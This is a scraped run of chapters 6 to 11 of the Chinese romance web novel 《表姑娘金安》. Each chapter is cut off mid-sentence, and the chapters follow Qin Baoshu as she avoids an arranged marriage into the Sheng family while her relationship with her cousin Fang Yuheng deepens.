“还好你带橘子来看我,我这几日嘴里淡得吃什么都跟嚼草一样!” 见表姐吃得欢喜,秦宝姝心里也高兴,接着给递橘子。 冯淑晨笑盈盈地打量她。 几日不见,她这个活泼的表妹似乎添了心事,杏眸下乌青一片。 “我听说盛夫人在家里做客,笑容一刻没落下,那盛家三公子是个温润儒雅的俊美公子。表妹好事近了,怎么反倒闷闷不乐的模样?” 冯淑晨在家里有着不少耳报神,没有出席庆功宴,后宅的事却都知道。 秦宝姝心头一紧。 倒不是紧张被知道说亲的事,而是没想到被发现自己有心事。 她伸手摸了摸脸:“哪里有什么心事,是大冷的天,半夜却杀出一只蚊子。我和它厮杀半宿,没睡好而已。” 她不算说谎。 讨厌的方瑀珩半夜入梦来,跟蚊子一样在耳边嗡嗡地重复着白日那句:表妹你手帕掉了,扰她清梦,才让她显得憔悴! “估摸着是这几日屋子里开始放炭火,那昏睡的蚊虫 6. 第 6 章 《表姑娘金安》全本免费阅读 已经是一脚踏进坑里,抽身已晚,秦宝姝硬着头皮给盛立涛见礼问好。 少女动作温吞,嗓音却是柔和悦耳的,还在打量她的少年眸光一荡,耳边响起母亲跟自己说的话。 ——我的儿啊,你见过了就会喜欢了。 “三公子,这是我们的表姑娘。” 冯家管事发现表姑娘都见礼了,那盛立涛还傻站着,不得不提醒一句,连他身边跟着的婢女都着急跟着喊了声三公子。 盛立涛这才像是魂魄归位,忙作揖回礼。 结果就坏事了。 他手里还捧着礼物,一弯腰,摞起来的礼物就哗哗往下掉。 最上头的是个木头盒子,结结实实砸在了秦宝姝脚面上。 她痛呼一声,哪知这还不是最坏的情况。 盛立涛见东西掉了,手忙脚乱去捞,却已经晚了,甚至因为着急重心不稳整个人都往前栽,眼看就要撞倒秦宝姝。 “姑娘!” 拂风一把将秦宝姝抱住,然而还是没法避开盛立涛冲撞过来。 主仆俩被撞得重重摔地上,盛立涛也一头栽在礼物上头,好几个锦盒应声裂开。 管事和婆子吓得脸都白了,盛家的婢女脸色也好看不到哪里,赶紧去把自家小主子搀扶起来。 秦宝姝被砸一下,再被撞倒,哪怕有拂风护着,手肘还是狠狠磕在地上,疼得她眼里都是泪花。今早特意挑选的珍珠步摇也摔断线,价值不菲的珍珠散落四处。 “表姑娘,打不打紧?!” 管事和婆子见她眼泪汪汪,魂都要惊飞了。 老夫人疼爱表姑娘,这么多年别说磕碰一下,就是表姑娘皱个眉头,那都要去请个名医好好诊断一番的。 表姑娘在他们跟前摔了,可跟要他们半条命差不多。 盛立涛被婢女搀扶起来,看了看被团团围着的秦宝姝,然后变了脸色,急急忙忙再弯腰去捡一地的礼物。 婢女忙拽住他的袖子,压低声焦急的提醒:“公子!先去看看秦姑娘伤没伤着,礼物先不要管!” “可母亲说礼物十分重要……” “夫人不是交代,秦姑娘更重要!” 婢女已经发现秦宝姝身边那边年轻女子冷眼扫过来,紧张得一颗心都快要跳出嗓子眼了! 好在盛立涛分出了轻重缓急,没再管礼物,而是走上前去。 婢女亦步亦趋,在盛立涛开口前急急地说:“秦姑娘可伤着?都是我们公子的疏忽,还请姑娘见谅。” 秦宝姝正尝试活动右手,刚一动就疼得咧嘴,拂风心疼得眼眶都红了,闻言怒视盛立涛:“还以为盛三公子是个稳重,却不曾想如此莽撞!” 盛立涛像是被骂愣了,只知道直直看着受伤的秦宝姝,一个字都不曾说。 婢女心里暗叫一声不好,想要开口给自家公子解释一两句,对方已经小心搀扶着秦宝姝转身走了。 拂风温声安慰自家姑娘:“奴婢这就让人请郎中去,我们先回院子。” 秦宝姝摇摇头:“还是直接到外祖母那去吧,不然让她老人家更要担心。” 她不但手肘疼得厉害,就连脚指头也一跳一跳的疼。 她和盛立涛肯定八字不合! 秦宝姝幽怨地想着,回头瞥了一眼,发现盛立涛还直愣愣的杵在原地,双眼依旧落在她身上。 她收回视线,心头跳得厉害。盛立涛直勾勾看自己的眼神,有点儿吓人,一点也不见他昨日表现出来的温润儒雅! 树枝被穿过游廊的风刮得乱晃,树枝叶子早掉光了,枝桠光秃秃,投映在地的影子有种张牙舞爪的可怖。 “我们走快些!”秦宝姝被树影晃得脊背发寒,加快了脚步。 管事还得给闯祸的盛立涛带路,看着主仆俩的背影连忙用眼神示意婆子跟上。 他心里简直七上八下,还得给盛立涛赔着笑脸:“三公子也快跟上吧,一并让郎中也检查检查,看看哪儿伤着了。” 颐安堂内,冯老夫人不时看向门口,是等得心急,又莫名不安。 她边上的王妈妈见着,笑道:“您别着急,两人多半已经遇上了,指不定这会正说话呢。” “你这话安慰别人还行,用在我老婆子这头,就是在哄我。”冯老夫人轻叹一声,“宝儿什么脾气我不信你不知,昨儿她直接就把手镯推掉了,说明心里抵触这门亲事的!” “那会不是没见着盛三公子,见过了就未必了。” “还在安慰我呢。” 冯老夫人摆摆手,打起精神眺望门外庭院,有着纹路的眼角却还是耷拉着。 她低声:“她及笄后,说亲的人家不是没有,是我觉得那些个人家家世不够好,挑来挑去没有合意的。” “宝儿呢,在边上看着什么都不说,也不着急,可见她完全没有心思说亲。这一拖就两年,虽然如今的姑娘家十八九岁出嫁的也不少,可她今年已经十七了,可真没有时间再拖着了。” 王妈妈可是一直在老人身边伺候的,这些事情哪儿不知道,只是见主子干着急,怕她急上火对身体不好罢了。 冯老夫人语气更是惆怅了:“她母亲就是苦命了,我如何能让她再受一点苦。盛家三公子,是如今能够到的,最合适的人选了!” 王妈妈在边上连连点头,正要说什么,门口就出现了相互搀扶着的主仆俩。 “——表姑娘来了!”王妈妈说完,看出不对,“怎么走路一拐一拐的。” 冯老夫人慌乱地站起身,其他的小丫鬟赶忙出门围上前,帮着拂风一块把眼尾还泛红的秦宝姝扶进屋。 秦宝姝步摇掉了,头发散开几缕飘在耳边,脸色惨白惨白的,把冯老夫人差点吓出个好歹来。 “发生了什么!”冯老夫人脑袋里嗡的一下,“盛三人呢!莫不是……” 老人说到最后,声音都在发抖。 眼看要闹出更大的误会,秦宝姝忙开口解释,有着拂风在边上帮嘴,总算在老人把自个吓晕前说清楚了。 “他怎么会如此莽撞!昨儿不是稳重得很!”冯老夫人听闻外孙女居然受了无妄之灾,气得一拍桌子。 秦宝姝心里附和着,可不是!然后回想起盛立涛今日种种,还有最后看她的说不清情绪的眼神,心里又开始发毛。 她趁热打铁道:“外祖母,我不愿意嫁到盛家去,我不喜欢三公子。” 与其遮遮掩掩,还不如当机立断,借着此事让外祖母别再考虑这门亲事。 她话落,期待地望着老人,清楚看到老人先是一愣,随后再挤出笑来。 这个反应让她一颗心凉了半截。 “宝儿,盛三公子今日是莽撞了些,也可能是因为忽然遇见你,紧张了。”冯老夫人语重心长,“一会外祖母好好说他。” 秦宝姝杏眸里的光就一点点暗了下去,明媚五官也跟着黯淡,少了往日的灵动鲜活。 冯老夫人哪里不知道她的不情愿,见她不高兴了,心里自然是难受。但就如先前所言,盛家是眼下最好的人家了。 免不得,冯老夫人又把和方才差不多的话给秦宝姝分析一遍,末了眼里闪着泪光 7. 第 7 章 《表姑娘金安》全本免费阅读 方瑀珩顶着冷风走在前头,身后是秦宝姝若有若无的抽泣,催得他脚下步伐又快了几分。 等进了屋,他把垂头丧气的少女推进椅子里坐下,自己撩了袍摆在另一侧落座。 “就这哭鼻子的出息?平时不饶人的气焰呢?” 坐下来了,才想起来屋里没点炉子取暖。他没什么温度的语气,连带着让屋里更冷了似的,方瑀珩就瞧见秦宝姝肩膀抖了抖,可怜得很。 简直像是他给了她天大的委屈一样。 方瑀珩险些被她气笑,拂风见两人间的气氛不对,连忙先把自家姑娘的处境说来。 拂风自小跟在秦宝姝身边,盛三公子表现的前后不一,让她比自家主子还要气愤。 三五句说清楚,拂风气得脖子都红了:“他这般的表现,姑娘如何敢应下亲事?老夫人被蒙蔽,只说是家世不可求,我们姑娘可不得想办法查清楚,有了证据,才能叫老夫人看清那人!” “陈叔在外头,打听起来也容易。”方瑀珩盯着少女泛红的眼睛说。 秦宝姝哭了这么会,心里已经好受多了。 她正低头用手帕擦眼泪,手肘受伤,动作多少有些笨拙。再被他盯着看,感到丢脸之余,还为他故意提起陈叔而窘迫。 她抿抿唇,把湿了一块的绸缎帕子在手里扭成了麻花,脸微微发烫的解释:“我这不是怕他们心里有鬼,早做好被发现的准备,会防备陈叔,到时候就是打草惊蛇。所以我思来想去,还是劳烦表哥稳妥一些。” 陈叔是她父亲的人,父亲在世时陈叔就一直帮忙打理秦家产业,后来她被托孤外祖家,陈叔这么些年依旧在外为秦家商行奔波。 见她终于说话,思绪清明,方瑀珩冷峻的一张脸缓和了些,喊了声砚书。 砚书正忙着把炭炉点旺,就被他支使进内室,把秦宝姝上次忘记拿走的钱袋子取来。 钱袋子放在秦宝姝眼前,她脑袋有点发懵,哭过的一双杏眸茫然看向他。 这一看,她还发现桌子上有个眼熟的锦盒。 很快,她就想起来锦盒正是自己用来装贺礼那个,同时也记起这次给方瑀珩送礼的比之前都要特殊。 ——她原本想着不再往来,就和家里姐妹一样送一份礼,把那代表亲昵的另外一份礼物去掉了。 可好像是人算不如天算,一天不到,她就又食言求到了方瑀珩跟前来。 他单单把她送的礼物放在这里,是忘记收起来,还是故意让她看的? 应该是巧合吧,毕竟方瑀珩也不知道自己今日会来找他。 秦宝姝满脑子官司,那纠结的模样落在方瑀珩眼里就是——做贼心虚! 他早就察觉到她和自己疏离的种种举动,只是没有戳穿而已。 渐渐烧旺的炭火劈啪作响,在安静的屋内显得更是突兀,让还没得到回答的秦宝姝心里更加忐忑了。 方瑀珩此时把手里的信放在了桌面上,指尖轻叩,终于开了口。 “帮忙也不是不行……” “我肯定不能让表哥白帮这个忙,打点的银子都我掏!” 秦宝姝等来希望,杏眸亮晶晶地看着他。 那双被眼泪洗刷后的眸子越发水润明亮,让方瑀珩扯着嘴角无奈笑笑。 他就朝她伸去了手。 秦宝姝一愣,随后恍然似的啊一声,低头就要摘腰间挂着的小钱袋子。 哪知听见他没好气地说:“把胳膊伸过来。” 胳膊? 秦宝姝再次愣住了。 方瑀珩知道她有时候就是一根筋,懒得解释,直接站起身走到跟前,握住她受伤的那只胳膊,动作轻柔地把她宽大袖口往上拉。 直至已经红肿发紫的手肘落入眼帘,他动作才算停下。 他死死盯着那片红肿,眼神冷得吓人,当即让砚书去取了药酒来。 秦宝姝以为他是要钱,结果被他掀了袖子看伤,直到他说话让取药,才猛地回过神。 他靠得也太近了! 秦宝姝慌乱地自己袖子拽了下去,遮住白皙的胳膊,做完这一切脸也已经红透了。 拂风在边上也看傻了眼。 表公子是打小就和姑娘私下来往不假,但两人就仅限于来往,从来不曾有过肢体接触。刚才的举动,是不是过于亲密?算不算越界? 拂风心跳声轰隆隆的,偷偷去看方瑀珩。他神色和平时无二,从容回到方才的位置坐下,依旧是清风明月那般出尘的表公子。 短短片刻,砚书把药找出来了,方瑀珩看向拂风:“这是太医院的配方,比外头的跌打药酒都要好,每日给你家姑娘揉上两回,揉开了,淤血才散得快。” 随着他声音落下,秦宝姝察觉到他目光就落到她身上。 虽然……她对他有过不切实际的肖想,但那也仅仅是想象彼此的关系,从未像刚才那样亲近过。 此时此刻,她感觉自己脸上的温度比那炭炉都要烫,可方瑀珩似乎就只是单纯关心而已,在正儿八经地嘱咐如何用药。 “你、你怎么会有太医院的药酒。”她心虚得羞愧,只能随意找个话题来遮掩自己的紧张和尴尬。 “老师给的。” 方瑀珩慢悠悠地收回视线,心道再看她,她就该缩成鹌鹑了。她以为自己伪装得很好,却不知通红的耳根出卖了她心思,是又娇又怂,倒也可爱。 他不冷不淡地回话,秦宝姝反倒放松了一些。 这就是她平时熟悉的方瑀珩,总是惜字如金,果然是她自己过于敏感。 是这么想着,心里却添了一份失落。 “那么……盛三公子的事,就劳烦珩表哥了。”秦宝姝觉得 8. 第 8 章 《表姑娘金安》全本免费阅读 自打方瑀珩在秋闱得了榜首后,平西伯府每日都有招待不完的客人,连着三日,秦宝姝都被外祖母带在身边,和各家夫人听戏吃宴。 青衣在台上咿咿呀呀,她在台下昏昏入睡。 冯淑晨身体好转,帮着家里招待宾客,安排好上新的茶点,扭头就瞧见用手帕遮脸偷偷打瞌睡的秦宝姝。 她手帕是遮着脸了,但那一点一点的脑袋小鸡啄米似的,叫人看了是好笑又无奈。 冯淑晨走到祖母身边,轻声在老人耳边提建议。 冯老夫人一双眼就从戏台转到身后的外孙女身上,当即就笑了:“去吧去吧,把其他家的姐妹都喊上,到底是贪玩的年纪,哪里能坐得住听戏。” 自从见了盛三公子,冯老夫人敏锐的察觉到外孙女情绪低落。虽说在自己跟前还是爱说笑撒娇,可不知是不是心理作用,外孙女和她的亲昵似乎有了朦胧的一层界限,让她心生不安。 “宝儿素来听你的,你再好好劝她两句,一个有权势的婆家才能护住她的后半生……还有秦家偌大的产业。” 冯老夫人不安地嘱咐了一句,神色有些难过。 可以离开长辈不被拘束着,几家姑娘脸上都笑开了花,秦宝姝迷迷瞪瞪地跟着表姐走,青衣柔婉的唱腔在身后模糊不清,她才猛地清醒过来。 冯淑晨瞧见她终于恢复神采的杏眸,好笑道:“我可把你救出‘火海’,你一个谢字都没有,我白疼你了。” 人清醒了,脑袋瓜子也灵活起来。 秦宝姝抱着表姐的胳膊,软声说谢谢大姐姐,眸底却是浓得化不去的歉意。 她低声道:“大姐姐懂我,想帮我,反倒连累你卷入无关的是非中。外祖母今儿又让你劝我了吧。” 表姐答应她会打探老人的口风,第二天就上阵了。 结果被老人先是严厉的数落表姐身为长女,怎么目光如此短浅,跟着她一块任性胡闹。 这些话是她买通当时在场的一个小丫鬟得知的。 那日从方瑀珩院子离开后,她就让拂风再去表姐那儿一趟,跟表姐说不必再去试探口风。老人心意已定,她怕再连累表姐。 哪知表姐还是冒险试探。 她就怕发生这种情况,才想着收买丫鬟,然后得知她外祖母还险些要责罚表姐。可表姐见到她之后一字都不曾提,还愧疚地说没能帮上忙。 此事之后,不用去想也能猜到,外祖母肯定是有机会就叮嘱表姐,让她规劝自己。如此一来,表姐就夹在她和外祖母中间,两处为难。 “我是真服了你的脑袋瓜子,是真聪明。”冯淑晨抬手点她脑门,“但有时候也跟二楞子一样,我们姐妹之间用得上连累二字吗?你再这般生分,我才要生气了。” 冯家人从来都是真心相待,便是外祖母一意孤行,出发点还是为了她好。秦宝姝越想,反倒越难过了。 但不想让冯淑晨多担心,她当即笑得眼眸弯弯,把难过藏得严严实实地说:“是是是,是妹妹肤浅,我要吃千层酥!” 秦宝姝是个馋嘴的,冯淑晨果然被她蒙骗过去,立刻吩咐身边的仆妇,点心加多一样千层酥。 年纪相仿的千金们聚到花厅,相熟的就坐一堆,相互询问近来的状况。冯淑晨自小就是被当做未来高门媳妇培养的,长袖善舞,穿梭在诸位千金间游刃有余。 二房姐妹花望着自家能干的长姐,眼里都是羡慕。 “就连魏家那个刁蛮姑娘都能哄得乐呵呵的,长姐是真厉害啊。”冯二姑娘冯淑婉小声感慨。 冯三姑娘冯淑仪眨巴眨巴眼,对今日面生那位县主之女十分好奇,示意了秦宝姝一眼,三个脑袋就凑到了一块。 “那位县主的女儿林姑娘,听说是魏家的表亲?有七八年不曾回京探亲,是不是要回来挑选夫婿的?” 秦宝姝听到夫婿二字就头疼,姐妹花可能刚到说亲的年纪,就对此类事十分感兴趣。 秦宝姝没吭声,冯淑婉捂嘴笑说肯定是:“她似乎比我们年长个半岁。” 姐妹花正小声嘀咕,不知是不是叫较近的魏姑娘听见了,对方声音冷不丁拔高道:“表姐,这京城里啊,多的是表面光鲜的破落户,来往的时候一定要擦亮眼睛。” 冯淑晨正跟林大姑娘小声介绍家里的姊妹们,忽然被魏姑娘阴阳怪调一句,脸色隐隐发青。 冯淑晨知道这话是在嘲讽秦宝姝。 说来也奇怪,魏姑娘总爱和她家这个表妹过不去,这些年来家里做客,明里暗里都在挤兑她。 林大姑娘出身不俗,自然是傲气的,况且刚到京城就听自家表妹说过秦宝姝不少事迹,看向秦宝姝的眼神也变得不友善起来。 姐妹花素来是急性子,见自家表妹被讥讽,当即就要站起来辩论,秦宝姝眼疾手快把人给拽住。 “魏姑娘说得一点不假,多的是表面知书达理,却爱背后中伤人的,是要擦亮眼睛识人。”她笑盈盈地点头。 一句话温温柔柔,但在场的人都知道秦宝姝是在反击,暗指魏姑娘爱私底下说人,也不是什么磊落的性子。 这下脸色铁青的轮到魏姑娘了,冯淑晨果断的开口道:“长辈正在前头看戏,我们也玩些小游戏吧,只闷坐着说话多无趣。” 冯淑晨把长辈抬了出来提醒,魏姑娘总算还明白不能落主人家脸面的道理,狠狠瞪了秦宝姝一眼,憋屈地生闷气。 冯淑婉就在秦宝姝耳边说:“她那刻薄的样子都是跟她母亲学的。方才过来的时候,我就听见她母亲小声吩咐她,说不要和表姐你多接触!” 多少年了,那些个瞧不起她出身的夫人们还是这一套,生怕她和他们家女儿来往,就抹黑了他们家门楣一样。偏生他们在外祖母跟前,还得装作多喜欢她一样,总是老太君的宝贝叫个不停。 秦宝姝早习以为常,懒得计较这些无聊事,她如今满心记挂的只有盛家说亲一事。也有四五天了,不知道方瑀珩那边查得怎么样了。 姑娘们的玩乐,不外乎就是投壶,套圈儿博|彩头的小游戏,虽然是简单,但好胜心驱使下也是常玩常新。 秦宝姝懒得和魏姑娘再发生冲突,便没下场,只添彩头让大家更为尽兴。 她手里抓了把瓜子,看二房姐妹花大杀四方,连带家里怕生的其他姐妹都士气高涨。 她正看得津津有味,方瑀珩的名字忽然钻进耳朵里。 秦宝姝循声望去,发现是林大姑娘正和冯淑晨说话。 “方表哥学业紧张,极少往后宅来,我们姐妹也是在有节日的时候才会见到他。” 冯淑晨似乎面有难色,林大姑娘恍然不觉,继续追问:“那你可知道他老师孙女的事?外头有人说,阁老大人想要把孙女许配给他呢。” 9. 第 9 章 《表姑娘金安》全本免费阅读 手心里小小的一颗珠子莫名就有了分量,秦宝姝将它紧紧攥在手心里,再抬头去看那悠然喝茶的年轻公子,眼眸内有光华在流转。 “谢谢表哥帮我找回珠子。” 她唇角含笑,声调软绵绵的,像是嘴里含了糖,让人听着就觉得甜丝丝。 方瑀珩剑眉微微一扬,没有承认,亦没有否认。 可秦宝姝熟知他脾性。 他总是嘴上不饶人,高兴了赏个笑脸,不高兴了就一本正经板着臭脸。当然,做好事了也爱一本正经装不在意。 所以她没有开口询问珍珠是不是特意去找的,只道谢。 因为某人的性格就是那么别扭,你问了他也不会承认。 明明心里是在暗搓搓的高兴! 秦宝姝脸上的笑容更灿烂了,摊开手心,把珠子送到他眼前,郑重其事地说:“我一定不会再弄丢它!” 哪怕两人之间缘分止步于此,这都是他的心意,自当是要好好珍惜。 “没算完全傻透,还有救。”方瑀珩十分嫌弃似的啧一声,低头抿了一口清茶。 茶水的热气散得只余星点薄雾,秦宝姝清楚地看见他低头那瞬,眼里有笑意一闪而过。 她也跟着抿嘴笑,把那颗珍珠小心翼翼装进随身的荷包里,托腮歪头道:“所以啊,要劳烦表哥救上一救,跟我说说那盛家究竟怎么回事。” 方瑀珩的目光终于落在她脸上,扫过她娇俏的眉眼,透着淡淡粉色的脸颊,以及那因为笑着而若隐若现的梨涡。 ——她对盛家那个傻子这么笑过吗? “你什么都不用做,他们肯定还会借口让你和盛三见面。要真邀请了,你只管去赴约,但要记住一定得跟在老夫人身边,一步都不可以离开。” 方瑀珩眸光沉了沉,语气微冷。 秦宝姝一愣,身子也慢慢坐直,如临大敌:“盛三果真有问题?” “你不用太担心,我会和陈叔说清楚,事情还需要陈叔帮忙配合,或许等不到你们再见面就解决了。” 方瑀珩见她脊背都绷直了,到底是不忍她过多去忧虑。 平时看着大大咧咧的姑娘,其实性格极其敏感。盛夫人的心思脏污得很,他不愿意多说,是怕脏了她耳朵。 既然陈叔也要参与,说明不用在冯家解决,秦宝姝思索片刻,压在心头许久的焦虑总算是缓解一些。 她长舒一口气:“若不是珩表哥,我恐怕就只有绞头发去当姑子,才能叫外祖母放下这门亲事了。” 方瑀珩淡淡扫她一眼:“就这么不想嫁人?” 冷不丁提到终身大事,虽然两人现在就是在商量避免定亲,但秦宝姝还是脸热了一下。 “是不想嫁人。” 她一紧张就喜欢找个什么东西搓揉或者抠一抠,这会指甲就在抠裙面的绣纹。 方瑀珩看着她那一刻不老实的手指,就知道她招婿的心思果然没消退,只是把他这个人选屏退了。 “十两银子。”他面无表情下逐客令,“我还有事,不留你了。” “啊?”秦宝姝一时没从他跳脱的话反应过来。 “你一百两一颗的珍珠,我收你十两银子,过分了?” 方瑀珩站起身,丢下一句话,抬脚就往外走,让秦宝姝彻底傻眼了。 “他……他怎么又要银子了?他是为了银子才给我找的珠子吗?”秦宝姝再回神,人早不见了影,急得她只能拉着砚书说理。 砚书摸了摸脑袋,也有点糊涂。 他时常也摸不透公子在想什么,所以都是公子吩咐做什么就做什么,左右就是手起刀落的事,但让他动脑筋……那真是太为难了啊。 砚书犹豫半天,低声道:“可能是公子缺银子吧。” 公子交待过,面对表姑娘的问题回答不上来的时候,就一律说他缺银子使。 秦宝姝:…… 那她刚才算什么? 一腔真情和感动都喂了狗?! 秦宝姝直接就气得腮帮子鼓了起来,掏出十两的银票拍在桌子上,愤然离开。 这一日夜里,秦宝姝梦见自己找回来的珍珠又丢了,是方瑀珩给她送回来,冷着脸跟她要了十两银子。 然后刚到手里的珍珠就在眼前消失,方瑀珩又给她送回来,跟她再要了十两银子。 如此反反复复,秦宝姝从梦中惊醒,额发都被冷汗浸湿了。 她捂着久久不能平复的胸口,扬声喊来拂风,咬牙切齿地说:“给方瑀珩送九十两银子过去,告诉他,我赎回珍珠了!从今以后,我的珠子和他一点关系都没有!” 省得他梦里还十两十两的跟她讨要! 拂风满 10. 第 10 章 《表姑娘金安》全本免费阅读 一句带着凌厉的确认,让整个颐安居都陷入诡异的寂静中。 前来报信的仆妇被自家老夫人冰冷的眼神看得心里发怵,紧张得一时喉咙发紧,半个音节都发不出来。 “我在问你话!”冯老夫人冷声重复。 边上的秦宝姝最先回过神,忙来到外祖母身边,去握老人的手:“您先别着急,坐下再听说她也不晚。” 冯老夫人的手不停颤抖着,更是像刚捧过冰雪一般,凉得叫秦宝姝心惊。 仿佛随时能被气昏过去。 冯淑晨亦紧张上前来,在另一侧扶住老人胳膊,和表妹一同先让老人重新坐下。 王妈妈适时道:“你跑一路,估计嗓子都要冒火了,喝杯水再好好回话。” 小丫鬟立刻端了茶水过来给仆妇润喉压惊,仆妇捧着一口气灌进肚子里,感激地看王妈妈一眼,终于缓过来了。 仆妇屈膝道:“此等大事,奴婢自当不敢道听途说就报上来。奴婢今日出府去是为了采买,累了在茶棚歇歇脚,就听得这些是非,盛三公子抱的人还是大理寺郝主事家的公子。” “都是有头有脸的人家,别人也不敢瞎说,奴婢正好有个远亲在郝主事家当差,找他去证实,还真是这么个事!这才急急忙忙回来禀报您……” 有理有据的一一说来,冯老夫人的脸色已经不能用难看来形容了。 哪知还有更诛心的话在后头。 秦宝姝发现仆妇欲言又止,应该还有话没说完,就瞧见人家同情的看了自己一眼。 她心里也跟着不安起来。 “……外头的人如今除了传盛三公子天生就脑子不好,还说……盛家能看上表姑娘,也正是因为这个儿子痴傻,没法娶好人家的姑娘。” 秦宝姝眼皮猛地一跳,当即扭头去看外祖母,老人果然气得脸色铁青,一把将桌几上的茶杯扫到地上。 “我冯家的姑娘,怎么就不是好人家!便是她不姓冯,那也是我冯家女的孩子,他们胆敢如此羞辱!” 厉斥和瓷器碎裂的声音刺耳无比,冯淑晨在边上一样听得心惊胆跳,眼底深处更是闪过一抹难堪。 其实平西伯府式微后,外人何止看不上秦宝姝,便是她,恐怕也多是讽刺的。当初她和永安侯世子定亲时,便听过差不多的言论,说的是永安世子过于平庸,别的好人家都瞧不上,觉得不能成大器,所以才退而求次要娶她。 如今被羞辱的人换了秦宝姝,但她内心的感受和祖母一样,都是针扎一样的疼。 老人的怒骂声在房梁上回响着,在场所有人都没敢吭声。 下一刻,老人忽然一把摘下腰间的香囊,恶狠狠砸到地上。 “——把这晦气玩意扔出去!王妈妈,盛家送来的东西原封不动丢到他们门口,告诉他们,此事冯家绝不善罢甘休!” 香囊正是前些日子,盛立涛上门见面秦宝姝的借口,说盛夫人是亲手缝制赠予冯老夫人的,不过几日就成了老人和秦宝姝赤/裸裸的羞辱!如今被砸落地上,带着冯老夫人天崩地裂的怒意。 王妈妈快步去拾起来,屈膝一礼离开办差去了。 屋内伺候的个个垂着头,就连冯淑晨都被老人罕见的怒火惊得愣在原地。 秦宝姝缓缓抬头,看见了外祖母闭着眼靠在椅子里,一手紧紧捂着胸口。 “外祖母……”她矮身,缓缓在老人身边蹲下,然后趴在老人绣如意纹的裙面上。 “您无需为这些话动气。”她枕着老人的腿,声音轻柔,眼里没有一丁点的难过,“其实他们说的何尝不是事实?盛家一开始就不是冲着我这个人来的,哪怕盛三公子不是痴傻的,那他们也是冲着马上要起复的伯府。” “自始至终,我都是沾了伯府的光,沾了您的光,沾了珩表哥的光,这些都是我的福气。只不过盛家人利用了我的这份福气,用心远比我们想的险恶,恶心了我们罢了。” 她温声述说着事实,语气里没有悲伤,一字一句更不见怨恨,如此通透,反倒更让心疼。 冯淑晨侧过脸,偷偷擦掉眼角的泪,冯老夫人在眼眶里打滚许久的眼泪落了下来。 “是他们混账,我的宝儿足以配世间任何的男儿。”老人哑声,轻轻抚摸她的发丝。 秦宝姝抿唇笑,“是啊,所以为何非要让他们评头论足的挑选?外祖母,让我招婿吧,我保准给您招个称心如意的孙女婿。” 事情发展有点出乎她的意料,却正好有了让她把心里话说出来的机会。 冯老夫人一愣,低垂的眼眸定定望着少女。 招婿……意味着嫁入彻底没了高门大户可能。冯老夫人内心挣扎了起来,她何尝没想过招婿一事,可没有家族帮村的男子,如何能有保护外孙女的能力?! “此事往后再议。”老人到底有自己的考量和犹豫,疲惫地再闭上眼。 虽然不曾得到外祖母的应承,秦宝姝却已经心满意足,乖巧地应好。 没关系,老人希望她嫁入高门大户的想法根深蒂固,不是一两日就能改变的,只要能给她留一些时间,她努力找个上进的青年也不是难事! 秦宝姝被外祖母拉起来,搂在怀里又是好一顿安慰。 不管老人说什么,秦宝姝都是柔顺的点头,其实这何尝不是老人自个在开导自个呢? 此事早就闹得沸沸扬扬,平西伯刚到衙门没多久就回到府里,发现老母亲已经知晓,便把秦宝姝几个晚辈挥退,关起门不知在商议什么。 刚出了颐安居院门,冯淑晨邀请秦宝姝到她那去坐坐,秦宝姝虽然不在意盛三和外头的传言,但确实也没心情过去,婉拒了冯淑晨。 拂风安安静静跟在她身后,看着她漫无目的地走在府里,然后听到她站在方瑀珩跨院的门口,嘴里呢喃着:“我怎么走到这儿了。” 拂风就在心里暗暗叹气。 人啊,往往都是在无意识的时候才会泄露内心真正的想法。 那还用问吗,自然是她家小主子心里没放下表公子。 “既然到这儿了,姑 11. 第 11 章 《表姑娘金安》全本免费阅读 一句找珠子时受伤,让刚抬起脚的秦宝姝怔愣在场。 他确实是帮她找了那颗珍珠,是特意去的,甚至还受了不小的伤。那为何他后来又特意要银子,却只字不提受伤了。 那十两银子,让她气得梦里都是他可恶的一面。 映入眼帘的伤口长长短短少说五六道,他是在哪个石缝中找到珠子,才把手臂刮伤? 秦宝姝脑袋里充斥着各种思绪,自责的情绪从内心深处翻涌,直涌上头。 她鼻头发酸,眼尾泛红,再回过神的时候发现自己已然来到方瑀珩跟前。 “你当时怎么不说呢。”她听到了自己带了哽咽的声音。 方瑀珩抬头,凤眸对上那双泪光隐隐闪动的杏眸,左手缓缓放下,在袖中握紧了拳头。 他用卑劣的谎言,换来了她对自己的关心和愧疚。 明明可以有其他更多的方式做试探,他偏偏选了最过分的做法。 “一开始就说了,跟你要医药费。”方瑀珩偏过头,故意去看门外的庭院。 天阴沉沉的,还不到晌午时分,天地暗得像是日落时分。笼在暗色中的庭院,像极了他心里阴暗的一隅。 他语气淡淡,和以往没有什么区别,秦宝姝因为自责,幻听出了内里带着委屈。 她忙乱地打开放有膏药的罐子,直接用指尖挑了一块出来,然后去拽他藏起来的左胳膊。 “我给你上药,我会轻一些。” 少女声音又轻又柔,像是在哄怕疼的孩子。 方瑀珩明知自己行事卑鄙,在心里唾弃之余,又控制不住地把手交给她,贪恋她的关心。 不知用什么配方做的伤药,抹在伤口上有微微的凉意。 他能清晰地感受到她指尖在皮肤上轻轻游走,每划过一片肌肤,凉意瞬息就会化作火星,把那片皮肤连同一颗心都灼热地燃烧了起来。 秦宝姝不知自己一脚落入某人的圈套,微微倾着身,认真无比地照顾他的伤口。 今日天更冷了,她换了领口有一圈兔毛的薄袄,小小的脸陷在那片柔软的白色中,更衬得她五官精致。 可方瑀珩不敢多投去目光。 她离得太近了,不管是那盛着秋水般的眼眸,还是娇软的双唇,都比平时更具魅惑。最要命的是,她懵懂不知这距离的危险。 一时间,方瑀珩都分不清楚他这是谋划成功,还是自个给自个下了陷阱。 秦宝姝细心地把伤药抹匀,余光扫见他一脸严肃地盯着别处,眉头微微一拧,下刻抿唇却笑了。 她轻轻朝他伤口处吹了一口气:“一会儿就不疼了。” 温热的气息撩过手臂,方瑀珩浑身肌肉瞬间绷紧,他几乎要把后牙槽都咬碎了,才没有做出伸手把她拽到怀里的冲动举动。 “有劳表妹。”他慢条斯理地理了一下长袖,双手自然垂落搭在腿上,鬓角却早已经湿透。 秦宝姝见他又是那副爱答不理的模样,撇了撇嘴。 拂风适时把手帕给她送上。 秦宝姝净了手,砚书也倒了热茶过来,顺便把那罐早该‘退下’的伤药抱走。 这会子屋内忽然安静了下去,秦宝姝就变得有些拘束起来,视线飘啊飘,偷偷看身侧的年轻公子一眼,读不出他此时是什么心情,就又收回来看自己脚下的地砖。 怎么感觉方瑀珩很难受? 难道她上药的时候下手太重了? 但是男人都不会去承认自己怕疼吧,问出来搞不好又生气了要赶她! 秦宝姝思来想去,还是先开口道谢。 